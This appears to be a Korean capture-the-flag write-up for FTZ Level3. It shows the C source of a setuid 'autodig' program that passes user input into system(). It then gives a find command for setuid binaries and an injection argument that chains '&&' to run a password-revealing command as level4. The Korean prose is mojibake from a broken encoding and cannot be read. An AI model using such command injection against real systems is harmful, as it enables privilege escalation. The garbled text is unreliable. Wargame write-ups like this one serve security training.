[FTZ] Level3 ํ์ด
๐ก FTZ Level3 ํ์ด
๋ฌธ์
๊ณ์ : level3/can you fly?
hint
๋ค์ ์ฝ๋๋ autodig์ ์์ค์ด๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
์ด๋ฅผ ์ด์ฉํ์ฌ level4์ ๊ถํ์ ์ป์ด๋ผ.
more hints.
- ๋์์ ์ฌ๋ฌ ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด?
- ๋ฌธ์์ด ํํ๋ก ๋ช
๋ น์ด๋ฅผ ์ ๋ฌํ๋ ค๋ฉด?
ํ์ด
setuid๊ฐ ๊ฑธ๋ฆฐ ํ์ผ์ ์ฐพ์ ์ค๋๋ค.
find / -perm -4000 -user level4 2>/dev/null
ํํธ์ ๋์์๋ ์ฝ๋๋ฅผ ๋ถ์ํ๋ฉด, ์ฌ์ฉ์์ ์ ๋ ฅ๊ฐ์ผ๋ก ๋ค์๊ณผ ๊ฐ์ด cmd ๋ฌธ์์ด์ด ์์ฑ๋ฉ๋๋ค.
dig @[์
๋ ฅ ๊ฐ] version.bind chaos txt
์ ๋ ฅ ๊ฐ์ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ์ฌ ๋ช ๋ น์ด๊ฐ ์ฌ๋ฌ๊ฐ์ ๋ช ๋ น์ด๊ฐ ์ํ๋๋๋ก ํด์ค๋๋ค.
์ ๋ ฅ ๊ฐ
/bin/autodig '1.1.1.1&&my-pass&&'
๋๊ธ๋จ๊ธฐ๊ธฐ